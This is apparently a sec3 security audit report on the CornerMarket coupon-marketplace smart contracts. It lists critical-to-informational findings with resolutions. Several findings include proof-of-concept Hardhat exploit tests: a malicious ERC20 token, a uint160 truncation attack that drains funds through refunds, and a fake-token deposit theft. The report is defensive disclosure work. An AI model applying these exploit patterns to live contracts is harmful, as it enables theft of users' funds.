Security Assessment Report

CornerMarket Contracts v15

June 20, 2023

Summary

The sec3 team (formerly Soteria) was engaged to do a thorough security analysis of the CornerMarket Contracts. The artifact of the audit was the source code of the following on-chain smart contract excluding tests in a public repository.

- Repository: https://github.com/CMarket/cornermarket-contracts-v15
- Commit: 619ace94401adac0d42dd214c6350caac3dd7e62

The audit revealed 14 issues in this vrersion. When reviewing the 2nd version, we found a new issue introduced by the changes. The team promptly shared a 3rd version that fixed the issue. The audit was concluded on version 014e47bc6a8d95fc92a7cbf86f9d9ebf713c4634.

This report describes the findings and resolutions in detail.

Table of Contents

Result Overview

In total, the audit team found the following issues.

CornerMarket Contracts v15

Issue	Impact	Status
[C-1] Unchecked external contract that may hijack the transfer	Critical	Resolved
[C-2] Buy more coupons with less money	Critical	Resolved
[C-3] Steal funds held by the UniswapV2Adapter	Critical	Resolved
[C-4] Steal payToken in AgentManager	Critical	Resolved
[C-5] Missing onlyOwner modifier in setBaseURI	Critical	Resolved
[H-1] Steal referral rebates without the buyer's consent	High	Resolved
[M-1] Untrusted token contract	Medium	Resolved
[M-2] Unchecked external approvals	Medium	Resolved
[L-1] Unusable coupon due to a missing timing constraint	Low	Resolved
[L-2] ERC721 token not handled	Low	Resolved
[I-1] Missing NFT token consistency check	Informational	Resolved
[I-2] Gas optimization opportunities	Informational	Resolved
[I-3] Good practices	Informational	Resolved
[I-4] Missing zero address validation	Informational	Resolved
[I-5] Unused code	Informational	Resolved

Findings in Detail

IMPACT – CRITICAL

[C-1] Unchecked external contract that may hijack the transfer.

```
/* cornermarket-contracts-v15/contracts/permit2/ComparePermit.sol */
032 | function permitTransferFrom(address token, address from, address to, uint160 amount,
                                  uint256 deadline,uint8 v,bytes32 r,bytes32 s) external {
033 |     IERC20Permit(token).permit(from, address(this), amount, deadline, v, r, s);
034 |     IERC20(token).transferFrom(from, to, amount);
035 | }

037 | function commonTransferFrom(address token, address from, address to,
                                  uint160 amount) external {
038 |     IERC20(token).transferFrom(from, to, amount);
039 | }
```

At lines 34 and 38, the `token` is an external address which can control the behavior of the `transferFrom` function. It's unclear how these functions are used. Users may mistakenly enter malicious token addresses and lose fund.

PoC.

```
pragma solidity ^0.8.17;
import '@openzeppelin/contracts/token/ERC20/ERC20.sol';

contract Attack is ERC20 {
    constructor(string memory name, string memory symbol) ERC20(name, symbol) {}
    function mint(address account, uint256 amount) public {
        _mint(account, amount);
    }
    function transferFrom(address from, address to,uint256 amount
    ) public virtual override returns (bool) {
        return false;
    }
}
```

Hardhat test

```
const { loadFixture } = require("@nomicfoundation/hardhat-network-helpers");
const { expect } = require("chai");
const { ethers } = require("hardhat");
```

```
describe("ComparePermit", function() {
  let comparePermit;
  let token;

  async function deployTokenFixture() {
    const [owner, addr1, addr2] = await ethers.getSigners();
    // deploy ERC20 token contract
    const ERC20 = await ethers.getContractFactory("Attack");
    token = await ERC20.deploy("MyToken", "MTK");
    token.mint(token, 10000);
    // deploy ComparePermit contract
    const ComparePermit = await ethers.getContractFactory("ComparePermit");
    comparePermit = await ComparePermit.deploy(token.address);
    return { token, comparePermit, owner, addr1, addr2 };
  }

  it("commonTransferFrom do nothing", async function() {
    const { token, comparePermit, owner, addr1, addr2 } = await loadFixture(deployTokenFixture);
    const amount = 10;
    const addr1StartBalance = await token.balanceOf(addr1.address);
    const addr2StartBalance = await token.balanceOf(addr2.address);
    // use ComparePermit transfer token
    await comparePermit.commonTransferFrom(token.address, addr1.address, addr2.address, amount);
    const addr1EndBalance = await token.balanceOf(addr1.address);
    const addr2EndBalance = await token.balanceOf(addr2.address);
    // check balance after transfer
    expect(Number(addr1EndBalance)).to.equal(Number(addr1StartBalance));
    expect(Number(addr2EndBalance)).to.equal(Number(addr2StartBalance));
  });
});
```

Resolution

The team stated that they use a whitelist to ensure only trustworthy tokens can be used.

IMPACT – CRITICAL

[C-2] Buy more coupons with less money

```
/* cornermarket-contracts-v15/contracts/Market/CornerMarket.sol */
243 | function _buyCoupon(uint id, uint amount, address receiver, address referrer,
                          address from, bool isLite) internal nonReentrant {
249 |     uint payAmount = cms.pricePerCoupon * amount;
250 |     address realFrom = (from == address(0) ? msg.sender : from);
251 |     if (from == address(0)) {
252 |         TransferHelper.safeTransferFrom(..., payAmount);
253 |     } else {
254 |         permit2.transferFrom(from, address(this), uint160(payAmount), cms.payToken);
255 |     }
```

In permit2, the type of the amount is uint160. However, the type of payAmount is uint. When the value of payAmount exceeds the maximum value that can be represented by uint160, at line 254, the type conversion from uint to uint160 will drop the non-empty high 96 bits.

For example, attackers create a coupon. Then, they call _buyCoupon with a large amount to trigger the type conversion issue. As a result, they can buy a large number of coupons with only a small amount of the payToken. Finally, attackers may call refund/verify , set a smaller amount to satisfy the token balance check in burn to steal assets.

PoC

```
describe("TestAttack", function () {
    it("TestAttack", async function () {
      const { cornerMarket, owner, token, permit2, voucher } = await loadFixture(deployCornerMarket);
      // random time in the future
      const timestamp = 2683290388;
      await ethers.provider.send("evm_setNextBlockTimestamp", [timestamp]);
      const meta = {
        owner: owner.address,
        payToken:token.address,
        pricePerCoupon: 1,
        saleStart: timestamp,
        saleEnd:timestamp+1000,
        useStart: timestamp,
        useEnd:timestamp+1000,
        quota: "1157920892373161954235709850086879078532699846656405640394575840079131296399 35",
        refundTaxRate: 0,
      }
```

```
      // createCoupon
      cornerMarket.connect(owner).setSupportToken(token.address,true);
      await cornerMarket.connect(owner).createCoupon(meta);

      // create signature
      const permitSingle = {
        details: {
          token: token.address,
          amount: 100,
          expiration: 281474976710655,
          nonce: 0,
        },
        spender: cornerMarket.address,
        sigDeadline: timestamp+10000
      };

      // mint token to owner
      await token.connect(owner).mint(owner.address,100);
      const balance_before = await token.balanceOf(owner.address);
      // mint token to cornermarket
      await token.connect(owner).mint(cornerMarket.address,100000000);

      // sign
      const permitHash = await permit2._hashdata(permitSingle);
      const permitData = await permit2._hashTypedData(permitHash);
      const sigdata = ethers.utils.arrayify(permitData);
      const signature = await owner.signMessage(sigdata);
      await token.connect(owner).approve(permit2.address,100);

      // buyCoupon
      await cornerMarket.connect(owner).buyCouponBehalf(
        "1",
        "1461501637330902918203684832716283019655932542976", // uint160.max
        owner.address,
        owner.address,
        owner.address,
        false,
        permitSingle,
        signature,
      );

      const balance_after = await token.balanceOf(owner.address);
      const vtoken_balance = await voucher.balanceOf(owner.address,1);

      expect(Number(balance_after)).to.equal(Number(balance_before));

expect(Number(vtoken_balance)).to.equal(Number(1461501637330902918203684832716283019655932542976));
```

```
      // approve cornermarket to spend voucher NFT
      voucher.connect(owner).setApprovalForAll(cornerMarket.address,true);

      // attack happen, attacker steal fund from cornermarket contract
      await cornerMarket.connect(owner).refundCoupon("1","1000",owner.address,false);
      const balance_after_attack = await token.balanceOf(owner.address);
      expect(Number(balance_after_attack)).to.gt(Number(1000));
    });
});
```

Potential repairs

Add value equality check after type conversion.

Resolution

This issue has been fixed.

IMPACT – CRITICAL

[C-3] Steal funds held by the UniswapV2Adapter

This is a similar type conversion issue in UniswapV2Adapter.sol, which converts `uint` to `uint160` at line 82 before calling the `permit2.transferFrom`.

The fees charged from users for calling `Buycoupons` are stored in the `UniswapV2Adapter`. When the fees accumulate to a certain amount, attackers may steal the fees and buy coupons.

```
/* cornermarket-contracts-v15/contracts/Market/UniswapV2Adapter.sol */
071 | function buyCoupon(uint id, uint amount, address receiver,
        IAllowanceTransferNFT.PermitSingle calldata _permit, bytes calldata _signature) external {
079 |     uint requiredAmountIn = dexRouter.getAmountsIn(requiredAmountWithFee, path)[0];
080 |     // require(payToken == _permit.details.token, "token not match");
081 |     require(requiredAmountIn <= _permit.details.amount, "insufficient approve");
082 |     permit2.transferFrom(receiver, address(this), uint160(requiredAmountIn),
                              _permit.details.token);
```

Potential repairs

Add value equality check after type conversion.

Resolution

This issue has been fixed.

IMPACT – CRITICAL

[C-4] Steal payToken in AgentManager

```
/* cornermarket-contracts-v15/contracts/Market/AgentManager.sol */
058 | function depositBehalf(address user, IAllowanceTransferNFT.PermitSingle calldata _permit,
                            bytes calldata _signature) external {
059 |     permit2.permit(user, _permit, _signature);
060 |     permit2.transferFrom(user, address(this), uint160(depositAmount), _permit.details.token);
061 |     _deposit(user);
062 | }
```

In AgentManager::depositBehalf(), _permit.details.token is not validated against the payToken. As a result, attackers may steal the payToken by depositing arbitrary garbage token but withdrawing the actual payToken.

PoC

```
const { loadFixture } = require("@nomicfoundation/hardhat-network-helpers");
const { ethers } = require("hardhat");
const { expect } = require("chai");
const chai = require("chai");
const { solidity } = require("ethereum-waffle");

chai.use(solidity);

describe("AgentManager Vulnerabilities PoC", function () {
  async function deployAgentManager() {
    const [owner, alice, evil] = await ethers.getSigners();

    const PayToken = await ethers.getContractFactory("TPToken");
    const payToken = await PayToken.deploy();
    const fakePayToken = await PayToken.deploy();

    await payToken.mint(alice.address, ethers.utils.parseEther("100"));
    await payToken.mint(evil.address, ethers.utils.parseEther("100"));
    await fakePayToken.mint(evil.address, ethers.utils.parseEther("100"));

    const Permit2 = await ethers.getContractFactory("AllowanceTransfer");
    const permit2 = await Permit2.deploy();

    await payToken
      .connect(alice).approve(permit2.address, ethers.utils.parseEther("100"));
    await payToken
      .connect(evil).approve(permit2.address, ethers.utils.parseEther("100"));
```

```
  await fakePayToken
    .connect(evil).approve(permit2.address, ethers.utils.parseEther("100"));

  const AgentManager = await ethers.getContractFactory("AgentManager");
  const agentManager = await AgentManager.connect(owner).deploy(
    payToken.address,
    1,
    "0x0000000000000000000000000000000000000000",
    permit2.address
  );

  return {
    agentManager, owner, payToken, permit2, alice, evil, fakePayToken,
  };
}

it("properly depositBehalf", async function () {
  const {
    agentManager, owner, payToken, permit2, alice, evil, fakePayToken,
  } = await loadFixture(deployAgentManager);

  // create signature
  const timestamp = 2683290388;

  const permitSingle = {
    details: {
      token: payToken.address,
      amount: 100,
      expiration: timestamp + 10000,
      nonce: 0,
    },
    spender: agentManager.address,
    sigDeadline: timestamp + 10000,
  };

  // sign
  const permitHash = await permit2._hashdata(permitSingle);
  const permitData = await permit2.hashTypedData(permitHash);
  const permitDataHash = ethers.utils.arrayify(permitData);
  const signature = await alice.signMessage(permitDataHash);

  expect(agentManager.depositBehalf(alice.address, permitSingle, signature))
    .to.be.ok;

  expect((await agentManager.collaterals(alice.address)) == 1).to.be.true;
});

it("Evil depositBehalf with fake payToken", async function () {
```

```
    const {
      agentManager, owner, payToken, permit2, alice, evil, fakePayToken,
    } = await loadFixture(deployAgentManager);

    // create evil signature
    const timestamp = 2683290388;
    const evilPermitSingle = {
      details: {
        token: fakePayToken.address,
        amount: 100,
        expiration: timestamp + 10000,
        nonce: 0,
      },
      spender: agentManager.address,
      sigDeadline: timestamp + 10000,
    };

    // sign
    const permitHash = await permit2._hashdata(evilPermitSingle);
    const permitData = await permit2.hashTypedData(permitHash);
    const permitDataHash = ethers.utils.arrayify(permitData);
    const signature = await evil.signMessage(permitDataHash);
    expect(
      agentManager.depositBehalf(evil.address, evilPermitSingle, signature)
    ).to.be.ok;
    expect((await agentManager.collaterals(evil.address)) == 1).to.be.true;
  });
});
```

Resolution

This issues has been fixed by commit [ed55d45](ed55d45).

IMPACT – CRITICAL

[C-5] Missing onlyOwner modifier in setBaseURI

```
/* cornermarket-contracts-v15/contracts/Market/AgentNFT.sol */
038 | function setBaseURI(string calldata _baseURI)  external {
039 |     emit BaseURIChange(_baseURI, baseURI);
040 |     baseURI = _baseURI;
041 | }
```

The AgentNFT::setBaseURI function should include the onlyOwner modifier to enhance security. Failing to do so may expose the NFT's source files to potential attackers, potentially leading to disruptions in the project's availability and compromising its correctness.

This issue was introduced by commit d0d068d as a new feature.

Resolution

The modifier was added by commit 014e47b. This issue has been resolved.

IMPACT – HIGH

[H-1] Steal referral rebates without the buyer's consent

Variable cornerMarket::referrals records a buyer's referrer, who receives a per-order rebate. In the current implementation, once a buyer's referrer is set, the referrer cannot be modified within the 180 days.

```
/* cornermarket-contracts-v15/contracts/Market/CornerMarket.sol */
243 | function _buyCoupon(uint id, uint amount, address receiver,
                        address referrer, address from, bool isLite) internal nonReentrant {
263 |     Referralship storage ref = referrals[receiver];
264 |     if (ref.referrer == address(0) && referrer != address(0)) {
265 |         uint nextExpire = getBlockTimestamp() + protectPeriod;
266 |         emit ReferrerUpdate(referrer, ref.referrer, nextExpire);
267 |         ref.referrer = referrer;
268 |         ref.expires = nextExpire;
269 |     }
270 | }

290 | function _verifyCoupon(uint id, uint amount, address from) internal nonReentrant {
297 |     if (buyReferrerRewardRate > 0) {
298 |         uint referrerReward = totalAmount * buyReferrerRewardRate / HUNDRED_PERCENT;
299 |         Referralship storage ref = referrals[from];
300 |         address referrerAddress = ref.referrer;
301 |         if (referrerAddress == address(0) || getBlockTimestamp() > ref.expires) {
302 |             referrerAddress = platformAccount;
303 |         }
304 |         //referrer get paid and remove this part from total
305 |         revenue[referrerAddress].earnings[cms.payToken] += referrerReward;
306 |         _withdraw(cms.payToken, referrerAddress);
308 |         assignableAmount -= referrerReward;
309 |     }
```

A buyer's referrer can be set by _verifyCoupon(). In line 267, if the referrer of a buyer (receiver) has not been set, the argument referrer will become the receiver's referrer. This makes sense if _buyCoupon is invoked by the buyer such that the buyer specifies her referrer.

However, _buyCoupon can be called by attackers and they don't need buyers' approval to set their referrers. Therefore, attackers may compete with all buyers, invoke buy coupons, and

become their referrers. As a result, attackers will get rebates from new users without their consent within the first 180 days.

Consider requiring buyers' approvals when setting their referrers.

Resolution

This issue has been fixed.

IMPACT – MEDIUM

[M-1] Untrusted token contract

Similar to C-1, `token` is an untrusted contract address. It may control the behavior of `balanceOf` and `transfer`.

For example, a malicious token address has the ability to "transfer" and steal the tokens of this type of token held by the function caller (i.e., the owner).

```
/* cornermarket-contracts-v15/contracts/Market/UniswapV2Adapter.sol */
090 | function withdrawFee(address token) external onlyOwner {
091 |     uint balance = IERC20(token).balanceOf(address(this));
092 |     TransferHelper.safeTransfer(token, msg.sender, balance);
093 | }
```

Resolution

The team stated that they will use a whitelist.

IMPACT – MEDIUM

[M-2] Unchecked external approvals

```
/* cornermarket-contracts-v15/contracts/Market/UniswapV2Adapter.sol */
071 | function buyCoupon(uint id, uint amount, address receiver,
                         IAllowanceTransferNFT.PermitSingle calldata _permit,
                         bytes calldata _signature) external {
072 |     permit2.permit(receiver, _permit, _signature);
073 |     (,,address payToken,uint pricePerCoupon,,,,,) = cornermarket.coupons(id);
076 |     address[] memory path = new address[](2);
077 |     path[0] = _permit.details.token;
078 |     path[1] = payToken;
083 |     IERC20(_permit.details.token).approve(address(dexRouter), requiredAmountIn);
086 |     IERC20(payToken).approve(address(cornermarket), requiredAmount);
088 | }
```

The approve() in lines 83 and 86 invoke functions defined in untrusted external addresses.

In addition, their return values are not checked.

Resolution

The team stated that they will use a whitelist.

IMPACT – LOW

[L-1] Unusable coupon due to a missing timing constraint

When `useEnd` is before `saleStart`, a coupon can be bought but cannot be verified.

Consider adding the `meta.useEnd > meta.saleStart` check when creating coupons.

```
/* cornermarket-contracts-v15/contracts/Market/CornerMarket.sol */
146 | function _createCoupon(CouponMetadata memory meta, address agent) internal {
147 |     require(meta.saleEnd > meta.saleStart, "sale time error");
148 |     require(meta.useEnd > meta.useStart, "use time error");
149 |     require(meta.saleEnd - meta.saleStart <= maxSalePeriod, "sale time error");
```

PoC

```
describe("test",function(){
it("test time", async function () {
    const { cornerMarket, owner, token } = await loadFixture(deployCornerMarket);
    const timestamp = 2683290388;
    await ethers.provider.send("evm_setNextBlockTimestamp", [timestamp]);
    const meta = {
        owner: owner.address,
        payToken:token.address,
        pricePerCoupon: 1,
        saleStart: timestamp,
        saleEnd:timestamp+1000,
        useStart: timestamp-2000,
        useEnd:timestamp-1000,
        quota: "100000",
        refundTaxRate: 0,
    }

    // createCoupon
    cornerMarket.connect(owner).createCoupon(meta);

    // mint token
    await token.connect(owner).mint(owner.address,100);
    await token.connect(owner).approve(cornerMarket.address,100);

    await cornerMarket.connect(owner).buyCoupon(
        "1",
        "10",
        owner.address,
        owner.address,
        "true"
```

```
    );
    expect(cornerMarket.verifyCoupon("1","10",true)).to.be.revertedWith("out of use day ranges");
});
});
```

Resolution

This issue has been fixed.

IMPACT – LOW

[L-2] ERC721 token not handled

```
/* cornermarket-contracts-v15/contracts/permit2/AllowanceTransferPlus.sol */
039 | function transferNFTFrom(address from, address to, uint248 tokenId, uint8 typeId,
                              uint160 amount, address token) external {
040 |     _transferNFT(from, to, tokenId, typeId, amount, token);
041 | }

043 | function _transferNFT(address from, address to, uint248 tokenId, uint8 typeId,
                          uint160 amount, address token) private {
059 |     // Transfer the tokens from the from address to the recipient.
060 |     if (typeId == 1) {
061 |         IERC721(token).safeTransferFrom(from, to, tokenId, "");
062 |     } else if (typeId == 2) {
063 |         IERC1155(token).safeTransferFrom(from, to, tokenId, amount, "");
064 |     }
065 | }
```

The permit2.transferNFTFrom handles the ERC721 and ERC1155 tokens differently based on the typeId parameter. When the typeId is 1, the token is considered to be an ERC721 token.

```
/* cornermarket-contracts-v15/contracts/Market/CornerMarket.sol */
336 | function verifyCouponBehalf(address from, bool isLite,
                                IAllowanceTransferNFT.PermitNFTSingle calldata _permit,
                                bytes calldata _signature) external {
337 |     if (isLite) {
342 |     } else {
344 |         permit2.transferNFTFrom(from, address(this), _permit.details.tokenId,
                                    _permit.details.typeId, _permit.details.amount,
                                    _permit.details.token);
345 |         IVoucher(couponContract).burn(address(this), _permit.details.tokenId,
                                          _permit.details.amount);
346 |     }
348 | }


375 | function refundCouponBehalf(address receiver, bool isLite,
                                IAllowanceTransferNFT.PermitNFTSingle calldata _permit,
                                bytes calldata _signature) external {
376 |     if (isLite) {
381 |     } else {
383 |         permit2.transferNFTFrom(receiver, address(this), _permit.details.tokenId,
                                    _permit.details.typeId, _permit.details.amount,
                                    _permit.details.token);
```

```
384 |         IVoucher(couponContract).burn(address(this), _permit.details.tokenId,
                                          _permit.details.amount);
385 |     }
387 | }
```

When transferNFTFrom is invoked in the refundCouponBehalf and verifyCouponBehalf, users can specify the typeId and the token, which can be either ERC721 or ERC1155 tokens.

However, the burn in line 345 and line 384 only processes ERC1155 tokens. It seems the support for ERC721 tokens (when the typeId is 1) is not provided.

Resolution

The team acknowledged the finding but decided not to add this feature at this time. It's still safe as the contract will panic in such scenarios.

IMPACT – INFO

[I-1] Missing NFT token consistency check

Functions `verifyCouponBehalf` and `refundCouponBehalf` do not check if the token and the payToken are consistent.

However, because the cornerMarkret contract does not hold NFTs, when an inconsistent NFT tokens are provided, the `IVoucher(couponContract).burn` will fail.

Consider adding the consistency check between `_permit.details.token` and the Voucher.

Resolution

The team acknowledged the finding but decided not to add this feature at this time. It's still safe as the contract will panic on such incorrect scenarios.

IMPACT – INFO

[I-2] Gas optimization opportunities

1. Consider replacing the following `storage` with `memory` at lines 244, 291, 299 and 360.

```
/* cornermarket-contracts-v15/contracts/Market/CornerMarket.sol */
243 | function _buyCoupon(uint id, ...) internal nonReentrant {
244 |     CouponMetadataStorage storage cms = coupons[id];

/* cornermarket-contracts-v15/contracts/Market/CornerMarket.sol */
290 | function _verifyCoupon(uint id, uint amount, address from) internal nonReentrant {
291 |     CouponMetadataStorage storage cms = coupons[id];
297 |     if (...) {
299 |         Referralship storage ref = referrals[from];

/* cornermarket-contracts-v15/contracts/Market/CornerMarket.sol */
359 | function _refundCoupon(uint id, ...) internal nonReentrant {
360 |     CouponMetadataStorage storage cms = coupons[id];
```

2. Consider marking `payToken` and `cornerMarket` as `immutable` variables to save gas.

```
/* cornermarket-contracts-v15/contracts/Market/AgentManager.sol */
013 | contract AgentManager is EIP712Base, AccessControl, ReentrancyGuard {
018 |     address public payToken;
019 |     address public cornerMarket;
032 |     constructor(address _payToken, ..., address _cornerMarket,...) EIP712Base("AgentManager") {
034 |         payToken = _payToken;
036 |         cornerMarket = _cornerMarket;
```

Resolution

This issue has been fixed.

IMPACT – INFO

[I-3] Good practices

Consider following the Checks-Effects-Interactions design pattern to avoid potential reentrancy vulnerabilities and improve contract security.

Take the UniswapV2Adapter::setFeeRate function as an example.

```
/* cornermarket-contracts-v15/contracts/Market/UniswapV2Adapter.sol */
029 | function setFeeRate(uint newRate) external onlyOwner {
030 |     require(newRate < ONE_HUNDRED_RATE, "feeRate too high");
031 |     emit FeeRateChange(newRate, feeRate);
032 |     feeRate = newRate;
033 | }
```

could be transformed into

```
function setFeeRate(uint newRate) external onlyOwner {
    require(newRate < ONE_HUNDRED_RATE, "feeRate too high");
    feeRate = newRate;
    emit FeeRateChange(newRate, feeRate);
}
```

Resolution

The team acknowledged the finding.

IMPACT – INFO

[I-4] Missing zero address validation

Consider adding zero address checks for `_payToken`, `_cornerMarket`, and `voucher`.

```
/* cornermarket-contracts-v15/contracts/Market/AgentManager.sol */
013 | contract AgentManager ... {
032 |     constructor(address _payToken, ..., address _cornerMarket, address _permit2) ... {
033 |         permit2 = IAllowanceTransferNFT(_permit2);
034 |         payToken = _payToken;
036 |         cornerMarket = _cornerMarket;
039 |     }

/* cornermarket-contracts-v15/contracts/Market/CornerMarket.sol */
099 | contract CornerMarket ... {
129 |     constructor(address voucher, address _platformAccount, address _permit2) ... {
130 |         require(_platformAccount != address(0), "invalid platform account");
131 |         permit2 = IAllowanceTransferNFT(_permit2);
137 |         couponContract = voucher;
138 |         platformAccount = _platformAccount;
141 |     }
```

Resolution

The team acknowledged the finding.

IMPACT – INFO

[I-5] Unused code

The following functions are not used.

```
/* cornermarket-contracts-v15/contracts/permit2/libraries/Permit2Lib.sol */
034 | function transferFrom2(ERC20 token, address from, address to, uint256 amount) internal {

071 | function permit2(
080 | ) internal {

136 | function simplePermit2(
145 | ) internal {


/* cornermarket-contracts-v15/contracts/permit2/libraries/SafeCast160.sol */
010 | function toUint160(uint256 value) internal pure returns (uint160) {
013 | }

/* cornermarket-contracts-v15/contracts/Market/library/TransferHelper.sol */
006 | function safeApprove(address token, address to, uint value) internal {
010 | }
```

Resolution

The team acknowledged the finding.

Appendix: Methodology and Scope of Work

The sec3 (formerly Soteria) audit team, which consists of Computer Science professors and industrial researchers with extensive experience in smart contract security, program analysis, testing and formal verification, performed a comprehensive manual code review, software static analysis and penetration testing.

Assisted by the sec3 Scanner developed in-house, the audit team particularly focused on the following work items:

- Check common security issues.
    - Reentrancy
    - Unchecked call return value
    - Integer overflow/underflow
    - Address hardcoded
    - Missing zero address validation
    - Delegatecall to untrusted call
    - Dos with failed call
    - Presence of unused variables
    - Dos with block gas limit
    - Timestamp dependence
    - Arithmetic accuracy
    - Outdated dependencies
    - Redundant code
    - Cross-function race conditions
- Check program logic implementation against available design specifications.
- Check poor coding practices and unsafe behavior.
- The soundness of the economics design and algorithm is out of scope of this work.

DISCLAIMER

The instance report ("Report") was prepared pursuant to an agreement between Coderrect Inc. d/b/a sec3 (the "Company") and CornerMarket Pte Ltd. (the "Client"). This Report solely includes the results of a technical assessment of a specific build and/or version of the Client's code specified in the Report ("Assessed Code") by the Company. The sole purpose of the Report is to provide the Client with the results of the technical assessment of the Assessed Code. The Report does not apply to any other version and/or build of the Assessed Code. Regardless of the contents of the Report, the Report does not (and should not be interpreted to) provide any warranty, representation or covenant that the Assessed Code: (i) is error and/or bug free, (ii) has no security vulnerabilities, and/or (iii) does not infringe any third-party rights. Moreover, the Report is not, and should not be considered, an endorsement by the Company of the Assessed Code and/or of the Client. Finally, the Report should not be considered investment advice or a recommendation to invest in the Assessed Code and/or the Client.

This Report is considered null and void if the Report (or any portion thereof) is altered in any manner.

ABOUT

Founded by leading academics in the field of software security and senior industrial veterans, sec3 (formerly Soteria) is a leading blockchain security company. We are also building sophisticated security tools that incorporate static analysis, penetration testing, and formal verification.

At sec3, we identify and eliminate security vulnerabilities through the most rigorous process and aided by the most advanced analysis tools.

For more information, check out our website and follow us on twitter.